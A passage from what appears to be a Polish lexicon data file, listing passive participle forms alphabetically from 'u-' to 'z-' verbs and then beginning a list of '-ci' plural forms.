ęcane","ukręcone","ukrojone","ukryte","ukrywane","ukrzyżowane","ukształtowane","ukute","ułagodzone","ułaskawiane","ułaskawione","ulatniane","ułatwiane","ułatwione","uleczane","uleczone","ulegane","ulepione","ulepszane","ulepszone","ulokowane","ulotnione","ułożone","umacniane","umalowane","umartwiane","umawiane","umazane","umeblowane","umiejscowione","umieszczane","umieszczone","umilane","umilone","umknięte","umniejszane","umniejszone","umocnione","umocowane","umoczone","umodelowane","umorzone","umotywowane","umówione","umożliwiane","umożliwione","umrocznione","umyte","unaocznione","unicestwiane","unicestwione","uniemożliwaine","uniemożliwione","unierochomione","uniesione","unieszczęśliwiane","unieszczęśliwione","unieszkodliwiane","unieszkodliwione","unieważniane","unieważnione","uniewinnione","uniezależnione","unikane","uniknięte","unormowane","unoszone","unowoczesniane","unowocześniane","uodpornione","uogólniane","upakowane","upalane","upalone","upamiętniane","upamiętnione","upaństwowione","upaprane","uparte","upaskudzone","upchane","upchnięte","upewniane","upewnione","upgradowane","upichcone","upiększane","upiększone","upierane","upierdolone","upięte","upijane","upilnowane","upinane","upite","uplastycznione","upłynięte","upodabniane","upodobnione","upojone","upokorzane","upokorzone","upolowane","upominane","uporządkowane","upowszechnione","upozorowane","upozowane","uprane","uprasowane","upraszczane","uprawdopodobnione","uprawiane","uproszczone","uproszone","uprowadzane","uprowadzone","uprzątane","uprzątnięte","uprzedone","uprzedzane","uprzyjemniane","uprzyjemnione","uprzykrzane","uprzytomnione","upubliczniane","upublicznione","upudrowane","upuszczane","upuszczone","upychane","urabiane","uraczane","uradowane","Urągane","uratowane","urażane","urażone","uregulowane","urobione","uronione","urośnięte","urozmaicane","urozmaicone","uruchamiane","uruchomione","urwane","urywane","urządzane","urządzone","urzeczywistniane","urzeczywistnione","urżnięte","usadowione","usadzone","usamowolnione","usankcjonowane","usatyfakcjonowane","uschnięte","uściskane","uścislone","uściśnięte","usidlone","usiedzone","uskładane","uskoczone","uskuteczniane","uskutecznione","usłuchane","usługiwane","usłużone","usłyszane","usmażone","uśmiane","uśmiercane","uśmiercone","uśmierzone","uspane","uśpione","uspokajane","uspokojone","uspołeczniane","usprawiedliwiane","usprawiedliwione","usprawnione","usprzątane","ustabilizowane","ustalane","ustalone","ustanawiane","ustanowione","ustąpione","ustatkowane","ustawiane","ustawione","ustępowane","ustosunkowane","ustrojone","ustrzegane","ustrzelone","usunięte","ususzone","usuwane","uświadamiane","uświadczone","uświadomione","uświęcone","uświnione","usychane","usypane","usypiane","usystematyzowane","usytuowane","uszanowane","uszczelniane","uszczęśliwiane","uszczęśliwione","uszczuplone","uszczypnięte","uszkadzane","uszkodzone","uszlachetniane","uszlachetnione","usztywnione","uszykowane","uszyte","utajnione","utargowane","utarte","utemperowane","utkane","utknięte","utkwione","utoczone","utopione","utorowane","utożsamiane","utożsamione","utracone","utrącone","utrudniane","utrudnione","utrwalane","utrwalone","utrzymywane","utuczone","utulone","utwierdzane","utwierdzone","utworzone","utylizowane","uwalniane","uwalone","uwarunkowane","uważane","uwiązane","uwiązywane","uwidocznione","uwieczniane","uwiecznione","uwielbiane","uwielbione","uwieńczone","uwierane","uwierzone","uwieszone","uwiezione","uwięzione","uwijane","uwikłane","uwinięte","uwite","uwłaczane","uwłaszczone","uwodzone","uwolnione","uwsteczniane","uwstecznione","uwydatniane","uwypiklone","uwzględniane","uwzględnione","użądlone","uzależniane","uzależnione","uzasadniane","uzasadnione","uzbierane","uzbrajane","uzbrojone","uzdrawiane","uzdrowione","użerane","uzewnętrzniane","uzewnętrznione","uzgadniane","uzgodnione","uziemione","uzmysłowione","uznane","uznawane","uzupełniane","uzupełnione","uzurpowane","użyczane","użyczone","uzyskane","uzyskiwane","użyte","używane","wabione","wąchane","wachlowane","wahane","walczone","wałkowane","walnięte","walone","ważone","wbijane","wbite","wcelowane","wchłonięte","wciągane","wciągnięte","wcielane","wcielone","wcierane","wcięte","wcinane","wciskane","wciśnięte","wczepione","wczołgane","wczute","wczytane","wczytywane","wdane","wdarte","wdawane","wdepnięte","wdeptane","wdetonowane","wdmuchiwane","wdrapane","wdrapywane","wdrażane","wdrążone","wdrożone","wduszone","wdychane","wdzierane","wędkowane","wentylowane","wepchane","wepchnięte","werbowane","weryfikowane","wessane","wetkane","wetknięte","wezwane","wgłębiane","wgniatane","wgniecione","wgrane","wgryzane","wgryzione","wiązane","wibrowane","widywane","widziane","wiedzone","wielbione","wiercone","wierzgane","wierzone","wieszane","wietrzone","więżone","wikłane","windowane","winszowane","wiosłowane","wirowane","witane","wite","wizualizowane","wjeżdżane","wkalkulowane","wkładane","wklejane","wklejone","wklepane","wkłute","wkomponowane","wkopane","wkopywane","wkraczane","wkradane","wkradzione","wkręcane","wkręcone","wkupione","wkurwiane","wkute","wkuwane","włączane","włączone","władane","władowane","włamane","włamywane","wlane","wlepiane","wlepione","wlewane","wliczane","wliczone","włożone","wmanewrowane","wmanipulowane","wmawiane","wmieszane","wmówione","wmurowane","wmuszone","wnerwiane","wnerwione","wniesione","wnikane","wniknięte","wnioskowane","wnoszone","wodowane","wojowane","wołane","woskowane","wożone","wpajane","wpakowane","wparowane","wpasowane","wpatrywane","wpędzane","wpędzone","wperswadowane","wpienione","wpięte","wpisane","wpisywane","wpłacane","wpłacone","wplatane","wplątane","wplątywane","wpojone","wpompowane","wpraszane","wprawiane","wproszone","wprowadzane","wprowadzone","wpuszczone","wpychane","wrabiane","wręczane","wrobione","wróżone","wryte","wrzucane","wrzucone","wrzynane","wsadzane","wsadzone","wskazane","wskazywane","wskórane","wskrzeszane","wskrzeszone","wślizgiwane","wślizgnięte","wsłuchane","wsparte","wspierane","wspięte","współczute","współodczuwane","współtworzone","współżyte","wspomagane","wspominane","wspomniane","wstąpione","wstawiane","wstawione","wstrząsane","wstrząśnięte","wstrzelone","wstrzykiwane","wstrzyknięte","wstrzymane","wstrzymywane","wstukane","wsunięte","wsuwane","wsypane","wszamane","wszczepiane","wszczepione","wszczęte","wszczynane","wszyte","wtajemniczane","wtajemniczone","wtapiane","wtargnięte","wtarte","wtaszczone","wtłoczone","wtopione","wtrącone","wtryniane","wtulane","wtulone","wtykane","wwalone","wwiercane","wwiercone","wwiezione","wwożone","wyartykułowane","wyautowane","wybaczane","wybaczone","wybadane","wybatożone","wybawione","wybebeszone","wybełkotane","wybiczowane","wybielane","wybielone","wybierane","wybijane","wybite","wybłagane","wyblaknięte","wybrandzlowane","wybrane","wybronione","wybrzydzane","wybuchane","wybuchnięte","wybudowane","wybudzane","wybudzone","wyburzane","wyburzone","wycackane","wycałowane","wyceniane","wycenione","wychlane","wychłostane","wychodowane","wychowane","wychowywane","wychrobotane","wychwalane","wychwycone","wychylane","wychylone","wyciągane","wyciągnięte","wyciekane","wycieniowane","wycierane","wycięte","wycinane","wyciskane","wyciśnięte","wyciszane","wyciszone","wycofane","wyćwiczone","wycyckane","wycyganione","wyczarowane","wyczarterowane","wyczekane","wyczekiwane","wyczerpane","wyczesane","wyczołgane","wyczołgiwane","wyczute","wyczuwane","wyczyniane","wyczyszczone","wyczytane","wyczytywane","wydalane","wydalone","wydane","wydębione","wydedukowane","wydelegowane","wydepilowane","wydeptywane","wydłubane","wydłubywane","wydłużane","wydłużone","wydmuchane","wydmuchiwane","wydobyte","wydobywane","wydojone","wydoroślane","wydostane","wydrane","wydrapane","wydrapywane","wydrążone","wydrukowane","wydukane","wyduszone","wydychane","wydziedziczone","wydzielane","wydzielone","wydzierane","wydzierżawione","wydziobane","wydziwiane","wydzwaniane","wyedukowane","wyedytowane","wyeeliminowane","wyegzekwowane","wyeksmitowane","wyekspediowane","wyeksploatowane","wyeksponowane","wyeksportowane","wyeliminowane","wyemigrowane","wyemitowane","wyewoluowane","wyfrunięte","wygadane","wygadywane","wyganiane","wygarbowane","wygarniane","wygarnięte","wygasane","wygaśnięte","wygaszane","wygaszone","wygenerowane","wygięte","wyginane","wygładzane","wygładzone","wygłaszane","wygłodzone","wygłosowane","wygłoszone","wygłówkowane","wygnane","wygolone","wygonione","wygooglowane","wygospodarowane","wygotowane","wygrane","wygrawerowane","wygrażane","wygrywane","wygryzione","wygrzane","wygrzebane","wygrzebywane","wygrzewane","wygubione","wyhaczone","wyhaftowane","wyhamowane","wyhodowane","wyizolowane","wyjadane","wyjaśniane","wyjaśnione","wyjawiane","wyjawione","wyjedzone","wyjęte","wyjmowane","wykadrowane","wykalibrowane","wykalkulowane","wykańczane","wykantowane","wykąpane","wykaraskane","wykarczowane","wykarmiane","wykasowane","wykastrowane","wykazane","wykazywane","wykierowane","wykitowane","wykiwane","wykładane","wyklarowane","wyklepane","wyklinane","wykłócane","wykluczane","wykluczone","wyklute","wykłute","wykminione","wykolejone","wykołowane","wykombinowane","wykonane","wykończone","wykonywane","wykopane","wykopnięte","wykopywane","wykorkowane","wykorzeniane","wykorzenione","wykorzystane","wykorzystywane","wykoszone","wykpite","wykradane","wykradnięte","wykręcane","wykręcone","wykreowane","wykreślane","wykreślone","wykrochmalone","wykrojone","wykrwawiane","wykrwawione","wykryte","wykrywane","wykrzesane","wykrztuszone","wykrzyczone","wykrzykiwane","wykrzyknięte","wykrzywiane","wykształcone","wyksztuszone","wykupione","wykupywane","wykute","wykuwane","wyłączane","wyłączone","wylądowane","wyładowane","wyładowywane","wyłajane","wyłamane","wyłamywane","wyłaniane","wylansowane","wylane","wyłapane","wyłapywane","wyławiane","wyleasingowane","wyleczone","wylęgane","wylegimytowane","wylewane","wyłgane","wylicytowane","wyliczane","wyliczone","wylizane","wylizywane","wylogowane","wyłonione","wylosowane","wyłowione","wyłożone","wyłudzane","wyłudzone","wyłupane","wyłuskane","wyłuskiwane","wyłuszczone","wyluzowane","wymacane","wymachiwane","wymagane","wymahiwane","wymalowane","wymamrotane","wymanewrowane","wymarzone","wymasowane","wymawiane","wymazane","wymazywane","wymeldowane","wymeldowywane","wymiatane","wymiecione","wymieniane","wymienione","wymierzane","wymieszane","wymigane","wymigiwane","wymijane","wyminięte","wymknięte","wymoczone","wymodelowane","wymontowane","wymordowane","wymsknięte","wymuszane","wymyślane","wymyślone","wymyte","wynagradzane","wynagrodzone","wynajdowane","wynajdywane","wynajęte","wynajmowane","wynalezione","wynarodowione","wynegocjowane","wyniesione","wyniknięte","wyniszczane","wyniszczone","wyniuchane","wynoszone","wynurzane","wyobrażane","wyobrażone","wyodrębnione","wyolbrzymiane","wyolbrzymione","wyorbowane","wyosiowane","wyostrzane","wyostrzone","wypaczane","wypakowane","wypakowywane","wypalane","wypalone","wypałowane","wyparowane","wyparte","wypasane","wypastowane","wypatroszone","wypatrywane","wypatrzone","wypchane","wypchnięte","wypędzane","wypędzlowane","wypełniane","wypełnione","wypersfadowane","wyperswadowane","wypierane","wypięte","wypijane","wypinane","wypisane","wypisywane","wypite","wypłacane","wypłacone","wypłakane","wypłakiwane","wypłaszczone","wyplatane","wyplątane","wyplenione","wyplewione","wypłoszone","wypłukane","wypłukiwane","wyplute","wypluwane","wypocone","wypoczęte","wypolerowane","wypominane","wypomniane","wypompowane","wypompowywane","wyposażone","wypowiadane","wypowiedziane","wypoziomowane","wypożyczane","wypracowane","wypracowywane","wyprane","wyprasowane","wypraszane","wyprawiane","wyprawione","wypróbowane","wyprodukowane","wyprojektowane","wypromieniowane","wypromowane","wyprostowane","wyprostowywane","wyproszone","wyprowadzane","wyprowadzone","wypróżniane","wypróżnione","wyprute","wypruwane","wyprzedane","wyprzedawane","wyprzedzane","wyprzedzone","wyprzęgane","wypstrykane","wypucowane","wypuszczane","wypuszczone","wypychane","wypytane","wypytywane","wyrąbane","wyrabiane","wyrąbywane","wyratowane","wyrażane","wyrażone","wyrecytowane","wyręczane","wyręczone","wyregulowane","wyrejestrowane","wyremontowane","wyreżyserowane","wyrobione","wyrolowane","wyrośnięte","wyrównane","wyrównywane","wyróżniane","wyróżnione","wyrugowane","wyruszane","wyrwane","wyrypane","wyrysowane","wyryte","wyrywane","wyrządzone","wyrzeźbione","wyrżnięte","wyrzucane","wyrzucone","wyrzygane","wyrzynane","wyrzywane","wysączone","wysadzane","wysadzone","wyschnięte","wyściskane","wyselekcjonowane","wysępione","wysiadywane","wysiedzone","wysilane","wysilone","wyskakiwane","wyskalowane","wyskoczone","wyskrobane","wyskubywane","wysłane","wyśledzone","wyślizgiwane","wyślizgnięte","wysłowione","wysłuchane","wysłuchiwane","wysmagane","wysmarkane","wysmarowane","wysmażane","wysmażone","wyśmiane","wyśmiewane","wysmołowane","wysmyrane","wyśnione","wysnute","wysnuwane","wysondowane","wyspecjalizowane","wyśpiewane","wyśpiewywane","wyspowiadane","wysprzątane","wysprzedane","wyssane","wystartowane","wystawione","wysterelizowane","wysterylizowane","wystosowane","wystosowywane","wystraszone","wystrojone","wystrugane","wystrychnięte","wystrzegane","wystrzelane","wystrzeliwane","wystrzelone","wystudzone","wystukane","wystukiwane","wystygnięte","wysunięte","wysuszane","wysuwane","wyswatane","wyświadczane","wyświadczone","wyświetlane","wyświetlone","wyswobodzone","wysyłane","wysypane","wysypywane","wysysane","wyszabrowane","wyszalane","wyszarpane","wyszarpnięte","wyszasowane","wyszczotkowane","wyszczuplone","wyszeptane","wyszkolone","wyszlifowane","wyszorowane","wyszperane","wyszukane","wyszukiwane","wyszumione","wyszykowane","wyszyte","wytapetowane","wytargane","wytargowane","wytarte","wytarzane","wytaszczone","wytatuowane","wytchnięte","wytępione","wytknięte","wytłoczone","wytłumaczone","wytłumione","wytoczone","wytrąbione","wytrącane","wytrącone","wytransmitowane","wytransportowane","wytrenowane","wytresowane","wytriangulowane","wytropione","wytrute","wytrząsane","wytrzasnięte","wytrząśnięte","wytrzebione","wytrzepane","wytrzeszczane","wytrzeźwiane","wytrzymane","wytrzymywane","wytwarzane","wytworzone","wytyczone","wytykane","wytypowane","wyuczone","wywabiane","wywabione","wywąchane","wywalane","wywalczone","wywalone","wywarte","wywarzane","wyważane","wyważone","wywęszane","wywężykowane","wywiane","wywiązane","wywiązywane","wywierane","wywiercone","wywieszane","wywieszone","wywietrzone","wywiezione","wywijane","wywindowane","wywinięte","wywłaszczone","wywlekane","wywnętrznione","wywnioskowane","wywodzone","wywolane","wywoływane","wywoskowane","wywożone","wywracane","wywrócone","wywróżone","wywyższane","wyżalone","wyzbyte","wyzdrowione","wyżebrane","wyżerane","wyzerowane","wyzionięte","wyznaczane","wyznaczone","wyznane","wyznawane","wyzwalane","wyzwane","wyzwolone","wyzygzakowane","wyżynane","wyzyskane","wyzyskiwane","wyżyte","wyzywane","wyżywane","wyżywione","wzbijane","wzbite","wzbogacane","wzbogacone","wzbraniane","wzbudzane","wzbudzone","wzburzane","wzburzone","wżenione","wzięte","wzmacnione","wzmagane","wzmocnione","wznawiane","wzniecane","wzniecione","wzniesięte","wznoszone","wznowione","wzorowane","wzrośnięte","wzruszone","wzwyżane","wzywane","zaabordowane","zaadaptowane","zaadoptowane","zaadresowane","zaakcentowane","zaakceptowane","zaaklimatyzowane","zaalarmowane","zaanektowane","zaangażowane","zaanonsowane","zaapelowane","zaaplikowane","zaaportowane","zaaprobowane","zaaranżowane","zaaresztowane","zaatakowane","zabaczone","zabalowane","zabandażowane","zabarwione","zabarykadowane","zabawiane","zabawione","zabepieczane","zabetonowane","zabezpieczone","zabierane","zabite","zabłądzone","zablefowane","zabłocone","zablokowane","zabraniane","zabrane","zabrnięte","zabronione","zabrudzone","zabudowane","zabukowane","zabulone","zaburzone","zabutelkowane","zacementowane","zacerowane","zachciane","zachęcane","zachęcone","zachlapane","zachodzone","zachomikowane","zachorowane","zachowane","zachowywane","zachwalane","zachwalone","zachwiane","zachwycone","zaciągane","zaciągnięte","zaciążone","zaciekawione","zaciemniane","zaciemnione","zacierane","zacieśnione","zacięte","zacinane","zaciskane","zaciśnięte","zaćmione","zacumowane","zacytowane","zaczadzone","zaczarowane","Zaczepiane","zaczepione","zaczerpane","zaczesane","zaczęte","zaczołgane","zaczynane","zadarte","zadawalane","zadawane","zadbane","zadebiutowane","zadedykowane","zadeklamowane","zadeklarowane","zademonstrowane","zadenucjowane","zadepeszowane","zadeptane","zadeptywane","zadęte","zadławione","żądlone","zadłużane","zadłużone","zadokowane","zadomowione","zadowalane","zadrapane","zadraśnięte","zadręczane","zadręczone","zadrutowane","zadurzane","zadurzone","zaduszone","zadymione","zadźgane","zadziobane","zadziwiane","zadziwione","zafakturowane","zafałszowane","zafarbowane","zafiksowane","zafundowane","zagadane","zagadnięte","zagadywane","zagajone","zaganiane","zagapione","zagarażowane","zagarniane","zagarnięte","zagaszone","zagazowane","zagęszczone","zagięte","zaginane","zaginięte","zagłębiane","zagłębione","zagłodzone","zagłuszane","zagłuszone","zagmatwane","zagnane","zagnieżdżone","zagojone","zagonione","zagospodarowane","zagotowane","zagrabione","zagradzane","zagrażane","zagrodzone","zagrywane","zagryzane","zagryzione","zagrzane","zagrzebane","zagrzewane","zagubione","zagwarantowane","zahaczone","zahamowane","zahandlowane","zaharowane","zahartowane","zahipnotyzowane","zaholowane","zaimitowane","zaimplantowane","zaimplementowane","zaimprowizowane","zainaugurowane","zainfekowane","zainicjowane","zainkasowane","zainscenizowane","zainspirowane","zainstalowane","zainteresowane","zaintrygowane","zaintubowane","zainwestowane","zaizolowane","zajadane","zajane","zajarane","zajechane","zajęte","zajmowane","zakablowane","zakamuflowane","zakasane","zakasowane","zakąszane","zakatalogowane","zakatowane","zakatrupione","zakazane","zakażane","zakazywane","zakiszone","zakładane","zaklasyfikowane","zaklejane","zaklejone","zaklepane","zaklepywane","zaklinane","zaklinowane","zakłócane","zakłócone","zaklopotane","zakłute","zakneblowane","zakodowane","zakolczykowane","zakolorowane","zakołysane","zakomunikowane","zakończone","zakonserwowane","zakopane","zakopywane","zakorzeniane","zakorzenione","zakoszone","zakosztowane","zakotwiczane","zakotwiczone","zakpione","zakradane","zakręcane","zakręcone","zakreślane","zakreślone","zakrwawione","zakryte","zakrywane","zakrzyczane","zakrzyknięte","zakrzywiane","zakrzywione","zaksięgowane","zaktualizowane","zaktywizowane","zaktywowane","zakumane","zakupione","zakurzone","zakute","zakuwane","zakwaterowane","zakwestionowae","zakwitnięte","załączone","załadowane","załagodzone","zalamane","zalaminowane","załamywane","zalane","załapane","załatane","załatwiane","załatwione","zalatywane","zalecane","zalecone","zaleczone","zalegalizowane","zalegane","zalepiane","zalepione","zalewane","zaliczane","zaliczone","załkane","zalogowane","żałowane","założone","zaludnione","zamacane","zamachnięte","zamącone","zamalowane","zamanewrowane","zamanifestowane","zamarkowane","zamartwiane","zamarynowane","zamarzane","zamarznięte","zamaskowane","zamawiane","zamazane","zamazywane","zamęczane","zamęczone","zameldowane","zamelinowane","zamerykanizowane","zamiatane","zamieniane","zamienione","zamieszane","zamieszczane","zamieszczone","zamieszkane","zamieszkiwane","zaminowane","zamknięte","zamocowane","zamoczone","zamontowane","zamordowane","zamortyzowane","zamotane","zamówione","zamrażane","zamroczone","zamrożone","zamulane","zamurowane","zamydlone","zamykane","zanalizowane","zanegowane","zaniechane","zanieczyszczane","zanieczyszczone","zaniedbane","zaniedbywane","zaniepokojone","zaniesione","zanihilowane","zanikane","zaniknięte","zaniżane","zaniżone","zanoszone","zanotowane","zanucone","zanudzane","zanudzone","zanurzane","zanurzone","zanużone","zaobaczone","zaobserwowane","zaoferowane","zaofiarowane","zaogniane","zaognione","zaokrąglane","zaokrąglone","zaokrętowane","zaopatrywane","zaopatrzone","zaopiekowane","zaorane","zaostrzane","zaostrzone","zaoszczędzone","zapadane","zapakowane","zapalane","zapalone","zapamiętane","zapamiętywane","zapanowane","zaparkowane","zaparowywane","zaparzane","zaparzone","zapaskudzone","zapauzowane","zapchane","zapędzane","zapełniane","zapełnione","zaperfumowane","zapeszane","zapewniane","zapewnione","zapieczętowane","zapierane","zapięte","zapijane","zapinane","zapisane","zapisuwane","zapite","zapłacone","zapładniane","zaplamione","zaplanowane","zaplątane","zapłodnione","zaplombowane","zapobiegane","zapodane","zapodawane","zapodziane","zapokojone","zapolowane","zapominane","zapomniane","zapowiadane","zapowiedziane","zapoznane","zapoznawane","zapożyczone","zapracowywane","zaprane","zaprasowywane","zapraszane","zaprawione","zaprenumerowane","zaprezentowane","Zaprogramowane","zaprojektowane","zaproponowane","zaproszone","zaprotokołowane","zaprowadzane","zaprowadzone","zaprzątane","zaprzeczane","zaprzeczone","zaprzedane","zaprzedawane","zaprzęgane","zaprzepaszczane","zaprzestane","zaprzestawane","zaprzyjaźnione","zapudłowane","zapunktowane","zapuszczane","zapuszczone","zapuszkowane","zapychane","zapylane","zapylone","zapytane","zarabiane","zaranżowane","zarażane","zarażone","zarecytowane","zaręczane","zaręczone","zarejestrowane","zareklamowane","zarekomendowane","zarekomondowane","zarekwirowane","zarezerwowane","zarobione","żartowane","zarwane","zaryglowane","zarymowane","zarysowane","zarywane","zaryzykowane","zarządzane","zarżnięte","zarzucane","zarzynane","zasadzone","zaścielone","zasegurowane","zaserwowane","zasiadane","zasiane","zasiedlone","zasięgane","zasięgnięte","zasiewane","zasilane","zasilone","zaskakiwane","zaskarbione","zaskoczone","zaskrobane","zasłaniane","zaślepiane","zaślepione","zasłodzone","zasłonione","zasłużone","zasmakowane","zaśmiecane","zaśmiecone","zasmradzane","zasmrodzone","zasmucane","zasmucone","zasolone","zaspakajane","zaśpiewane","zaspokajane","zaspokojone","zasponsorowane","zaśrubowywane","zassane","zastane","zastąpione","zastawiane","zastawione","zastępowane","zastopowane","zastosowane","zastraszane","zastraszone","zastrzelone","zasugerowane","zasunięte","zasuwane","zaświadczone","zaświecone","zaświonione","zasyfione","zasygnalizowane","zasymilowane","zasymulowane","zasypane","zasypywane","zasysane","zaszachowane","zaszantażowane","zaszargane","zaszczepiane","zaszczepione","zaszczute","zaszczycane","zaszczycone","zaszeptane","zaszeregowane","zaszlachtowane","zasznurowane","zaszpachlowane","zasztyletowane","zaszufladkowane","zaszyfrowane","zaszyte","zaszywane","zataczane","zatajane","zatajone","zatamowane","zatankowane","zatapiane","zatargane","zatarte","zatelegrafowane","zatemperowane","zatęsknione","zatkane","zatknięte","zatoczone","zatonięte","zatopione","zatracane","zatracone","zatriumfowane","zatrudniane","zatrudnione","zatrute","zatruwane","zatrzaskiwane","zatrzaśnięte","zatrząśnięte","zatrzymane","zatrzymywane","zatuszowane","zatwierdzane","zatwierdzone","zatykane","zatynkowane","zatytułowane","zauploadowane","zauroczone","zautomatyzowane","zauważane","zauważone","zawadzane","zawalane","zawalczone","zawalone","zawarte","zaważone","zawdzięczane","zawetowane","zawężone","zawiadamiane","zawiadomione","zawiązane","zawiązywane","zawiedzone","zawierane","zawierzone","zawieszane","zawieszone","zawiezione","zawijane","zawinięte","zawinione","zawiśnięte","zawitane","zawładnięte","zawłaszczone","zawodzone","zawojowane","zawołane","zawoskowane","zawożone","zawracane","zawrócone","zawstydzane","zażądane","zażartowane","zazdroszczone","zażegnane","zażenowane","zaznaczane","zaznajomione","zaznane","zaznawane","zażyczone","zażyte","zażywane","zbaczane","zbadane","zbagatelizowane","zbajerowane","zbałamucone","zbalansowane","zbalsamowane","zbankrutowane","zbawiane","zbawione","zbesztane","zbezczeszczone","zbierane","zbijane","zbite","zbliżone","zbluzgane","zbojkotowane","zbrojone","zbrukane","zbszczecone","zbudowane","zbudzone","zbuntowane","zburzone","zbyte","zbywane","zchwytane","zcięte","zciszone","zdane","zdarte","zdeaktywowane","zdecydowane","zdefiniowane","zdeflorowane","zdegradowane","zdejmowane","zdeklarowane","zdekodowane","zdekompresowane","zdekoncentrowane","zdekonstruowane","zdelegalizowane","zdemaskowane","zdementowane","zdemolowane","zdemontowane","zdemoralizowane","zdenerwowane","zdeponowane","zdeprymowane","zdeptane","zderzane","zderzone","zdestabilizowane","Zdetonowane","zdetronizowane","zdewastowane","zdewaulowane","zdezerterowane","zdezintegrowane","zdezorientowane","zdezynfektowane","zdiagnozowane","zdjęte","zdławione","zdmuchiwane","zdmuchnięte","zdobyte","zdobywane","zdołowane","zdominowane","zdopingowane","zdrabniane","zdradzane","zdradzone","zdrapane","zdrapywane","zdrutowane","zdruzgotane","zduplikowane","zduszone","zdwojone","zdyscyplinowane","zdyskredytowane","zdyskwalifikowane","zdystansowane","zdzielone","zdzierane","zdzierżone","zdziesiątkowane","Zdzwonione","zebrane","zechciane","zedytowane","żegnane","żenione","zepchnięte","zepsute","żerowane","zerwane","zerżnięte","zeskakiwane","zeskanowane","zeskrobywane","zesłane","ześlizgiwane","ześlizgnięte","zesmolone","zespawiane","zespolone","zessane","zestawiane","zestawione","zestresowane","zestrzeliwane","zestrzelone","zeswatane","zeszklone","zeszlifowane","zetknięte","zezłoszczone","zeznane","zeznawane","zezwalane","zezwolone","zfinansowane","zgadane","zgadywane","zgajane","zganione","zgarnięte","zgaśnięte","zgaszone","zgięte","zginane","zgładzone","zgłaszane","zgłębiane","zgłębione","zgłośnione","zgłoszone","zgłuszone","zgniatane","zgniecione","zgnite","zgnojone","zgodzone","zgolone","zgonione","zgotowane","zgrabione","zgrillowane","zgromadzane","zgromadzone","zgrupowane","zgrzeszone","zgrzytane","zgubione","zgwałcone","zhackowane","zhakowane","zhańbione","zhandlowane","zharmonizowane","zidentyfikowane","ziewane","zignorowane","zilustrowane","zinfiltrowane","zintegrowane","zintensyfikowane","zinterpretowane","zinwentaryzowane","zirytowane","zjadane","zjawiane","zjednane","zjednoczone","zjedzone","zjeżdżone","zkontaktowane","zkserowane","złączone","złagodzone","złajane","złamane","zlane","złapane","zlecane","zlecone","zlekceważone","zlepiane","zlepione","zlewane","zlicytowane","zliczane","zliczone","zlikwidowane","zlinczowane","zlitowane","zlizane","zlizywane","złoite","zlokalizowane","złomowane","żłopane","złowione","złożone","złupione","złuszczane","zluzowane","zmacane","zmącone","zmagane","zmagazynowane","zmajstrowane","zmaksylizowane","zmanipulowane","zmarnowane","zmartwychwstane","zmarznięte","zmasakrowane","zmaterializowane","zmawiane","zmazane","zmazywane","zmbobardowane","zmiatane","zmiażdżone","zmiękczone","zmielone","zmieniane","zmienione","zmierzane","zmierzone","zmierzwione","zmieszane","zmieszczone","zmiksowane","zminiaturyzowane","zminimalizowane","zmniejszane","zmniejszone","zmobilizowane","zmoczone","zmodernizowane","zmodyfikowane","zmoknięte","zmonopolizowane","zmontowane","zmostkowane","zmotywowane","zmówione","zmrożone","zmrużone","zmumifikowane","zmuszane","zmuszone","zmutowane","zmyślane","zmyte","zmywane","znacjonalizowane","znajdowane","znajdywane","znakowane","znalezione","znane","znęcane","zneutralizowane","zniechęcone","znieczulone","zniekształcane","zniekształcone","znienawidzone","znieprawione","zniesione","zniesławiane","zniesławione","zniewalane","znieważane","znieważone","zniewolone","zniszczone","zniweczone","zniwelowane","zniżane","zniżone","znokautowane","znormalnione","znoszone","znudzone","zobaczone","zobowiązane","zobrazowane","zogniskowane","żonglowane","zoomowane","zoperowane","zoptymalizowane","zorbite","zorganizowane","zorientowane","zostawiane","zostawione","zpłacone","zprowokowane","zrabowane","zrachowane","zracjonalizowane","zranione","zraportowane","zrażane","zrażone","zrealizowane","zrecenzowane","zredagowane","zredukowane","zreferowane","zreformowane","zrefowane","zrefundowane","zregenerowane","zrehabilitowane","zreinkarnowane","zreintegrowane","zrekonfigurowane","zrekonstruowane","zrekrutowane","zrekrystalizowane","zrelacjonowane","zrelaksowane","zremiksowane","zremisowane","zreorganizowane","zreperowane","zreplikowane","zresetowane","zresocjalizowane","zrestartowane","zrestrukturyzowane","zrewanżowane","zrewidowane","zrewolucjonizowane","zrezygnowane","zrobione","zrolowane","zroszone","zrównane","zrównoważone","zrównywane","zróżnicowane","zrozumiane","zrugane","zruinowane","zrujnowane","zrymowane","zrywane","zrzędzone","zrzeszone","zrzucane","zrzucone","zsumowane","zsunięte","zsuwane","zsynchronizowane","zsyntetyzowane","zsypywane","zszargane","zszokowane","zszyte","zszywane","ztarte","żute","zutylizowane","zużyte","zużywane","zwabiane","zwabione","zwalane","zwalczone","zwalniane","zwalone","zwane","zwaporyzowane","zwątpione","zważane","zważone","zwędzone","zwerbalizowane","zwerbowane","zweryfikowane","zwęszone","zwężone","zwiastowane","związane","związywane","zwichnięte","zwiedzane","zwiedzone","zwiększone","zwieńczone","zwierzane","zwieszane","zwieszone","zwietrzone","zwijane","zwilżone","zwinięte","zwizualizowane","zwlekane","zwodowane","zwodzone","zwołane","zwolnione","zwoływane","zwożone","zwracane","zwrócone","zwyciężane","zwymiotowane","życzone","żygane","zygzakowane","zyskane","zyskiwane","żyte","zżarte","zżerane","zżynane","zżyte","bici","brnięci","capnięci","chlapnięci","chuci","ciachnięci","ciągnięci","cięci","ciśnięci","cmoknięci","cofnięci","czuci","czyci","darci","dmuchnięci","dobici","dobyci","dociągnięci","docięci","dociśnięci","doglądnięci","domknięci","domyci","dopadnięci","dopchnięci","dopięci","dopici","dopłynięci","doścignięci","dosięgnięci","dosunięci","doszyci","dotknięci","dożyci","drapnięci","draśnięci","drgnięci","dźgnięci","dziabnięci","dźwignięci","gięci","gnici","golnięci","gruchnięci","gwizdnięci","hajtnięci","huknięci","kantowanci","kiwnięci","klapnięci","klepnięci","kliknięci","kłuci","knuci","kojfnięci","kopnięci","kpici","kryci","krzepnięci","krzyknięci","kuci","liznięci","łyknięci","machnięci","marznięci","maznięci","minięci","myci","nabici","nabyci","naciągnięci","nacięci","naciśnięci","nadciągnięci","nadcięci","nadszarpnięci","nadużyci","nagięci","najęci","nakłuci","nakryci","napadnięci","napięci","napluci","napoczęci","napsuci","nasunięci","naszyci","natarci","natchnięci","natknięci","natrząsnięci","nawinięci","obciągnięci","obcięci","obdarci","obici","objęci","obmyci","obsunięci","obtarci","obwinięci","obyci","ochłonięci","ocknięci","ocuci","odarci","odbici","odbyci","odciągnięci","odcięci","odcisnię